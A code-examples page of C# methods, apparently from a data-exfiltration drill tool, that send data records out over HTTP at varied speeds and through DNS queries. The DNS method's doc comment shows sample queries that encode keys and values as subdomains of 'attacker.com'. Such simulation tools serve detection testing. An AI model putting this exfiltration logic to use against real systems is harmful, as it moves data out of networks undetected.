Example #1
0
        private int FastSend(DataRecordCollection data, string destination)
        {
            int         sent             = 0;
            HttpClient  httpclient       = new HttpClient();
            String      exfilDestination = destination;
            String      finalURL         = exfilDestination;
            List <Task> tasks            = new List <Task>();

            string[] keys = data.GetSchema();
            foreach (object dd in data)  //iterate through each record in the records list
            {
                if (dd == null)
                {
                    continue;
                }
                DataRecord dr = (DataRecord)dd;
                Task       t  = Task.Run(() =>
                                         { sent += DoWork(dr, keys, finalURL, destination); });
                tasks.Add(t);
            }
            foreach (Task t in tasks)
            {
                t.Wait();                       //wait to finsih all requests before we move on.
            }
            return(sent);
        }
Example #2
0
        private int ModerateSend(DataRecordCollection data, string destination)
        {
            int         sent             = 0;
            HttpClient  httpclient       = new HttpClient();
            String      exfilDestination = destination;
            String      finalURL         = exfilDestination;
            List <Task> tasks            = new List <Task>();

            string[] keys = data.GetSchema();
            foreach (object dd in data)  //iterate through each record in the records list
            {
                if (dd == null)
                {
                    continue;
                }

                DataRecord dr = (DataRecord)dd;
                sent += DoWork(dr, keys, finalURL, destination);
            }
            return(sent);
        }
Example #3
0
        /// <summary>
        ///this will perform a sequence of DNS querys, which are roughly equivalent to doing the following:
        ///
        ///  GetHostEntry("ThisIsADrill.ThisIsADrill.ThisIsADrill.attacker.com")
        ///  GetHostEntry("[val1].[key1].[rec1].attacker.com")
        ///  GetHostEntry("[val2].[key2].[rec2].attacker.com")
        ///  GetHostEntry("[val3].[key3].[rec3].attacker.com")
        ///  GetHostEntry("[val-n].[key-n].[rec-n].attacker.com")
        ///  GetHostEntry("ThisIsADrill.ThisIsADrill.ThisIsADrill.attacker.com")
        ///
        ///  where 'n' is the number of key value pairs in a record.
        ///  It will repeat this pattern for every piece of exfiltrated data.
        ///  --
        ///  for eaxmple:
        ///      a DataRecordCollection object with a Shape of 100,5 (that means 100 records, and schema lenght of 5)
        ///      will make a total of 100x5+2=502 dns queryies to the target.
        ///
        ///  So. in general, it will send a total number of DNS requests equal to:
        ///     records.Shape.Rows x records.Shape.Columns + 2
        ///
        ///
        ///  It will not wait nor care about the response.
        /// </summary>
        /// <param name="records">the DataRecordCollection object to exfiltrate</param>
        /// <param name="target_domain">DNS domain to target.  If default, the query will be sent to 'localhost.local'</param>
        /// /// <param name="base64encode">base 64 encode the values.  default is false</param>
        public int Send(DataRecordCollection data, string custom_name_resolver)
        {
            IPAddress t;

            custom_name_resolver = (!IPAddress.TryParse(custom_name_resolver, out t))   //check if we have been supplied an ip.  if so, continue, if not then translate the host name to an ip
                ? DnsUtils.GetIPFromName(custom_name_resolver)
                : custom_name_resolver;

            int    items_sent = 0;
            bool   async_mode = ((ops & Options.ASYNCHRONOUS_MODE) != 0);
            string query;

            string[] keys = data.GetSchema();
            foreach (object o in data.GetRecords()) //iterate through each record in the records list
            {
                if (o == null)
                {
                    continue;
                }
                DataRecord dr   = (DataRecord)o;
                string[]   vals = dr.Data;
                query = "ThisIsADrill.ThisIsADrill.ThisIsADrill." + host_suffix;
                DnsUtils.SendDnsQuery(query, custom_name_resolver, async_mode);
                items_sent++;
                for (int i = 0; i < keys.Length; i++)
                {
                    String   key       = keys[i];
                    String   val       = vals[i];
                    String   recNumber = "rec" + RecordsSent.ToString();
                    String[] labels    = new String[] { val, key, recNumber, SAFETY_WORD + host_suffix };
                    labels = DnsUtils.MakeLabelsDNSCompliant(labels);
                    query  = String.Join(".", labels.ToList());
                    DnsUtils.SendDnsQuery(query, custom_name_resolver, async_mode);
                    items_sent++;
                }
                DnsUtils.SendDnsQuery("ThisIsADrill.ThisIsADrill.ThisIsADrill" + host_suffix, custom_name_resolver, async_mode);
                items_sent++;
            }
            return(items_sent);
        }
        private int SlowSend(DataRecordCollection data, string destination)
        {
            int         sent             = 0;
            HttpClient  httpclient       = new HttpClient();
            String      exfilDestination = destination;
            String      finalURL         = exfilDestination;
            List <Task> tasks            = new List <Task>();

            string[] keys = data.GetSchema();
            foreach (object dd in data)  //iterate through each record in the records list
            {
                if (dd == null)
                {
                    continue;
                }

                DataRecord dr = (DataRecord)dd;
                sent += DoWork(dr, keys, destination);
                Console.WriteLine("Sent. Sleeping 5 seconds");
                Thread.Sleep(5000);
            }
            return(sent);
        }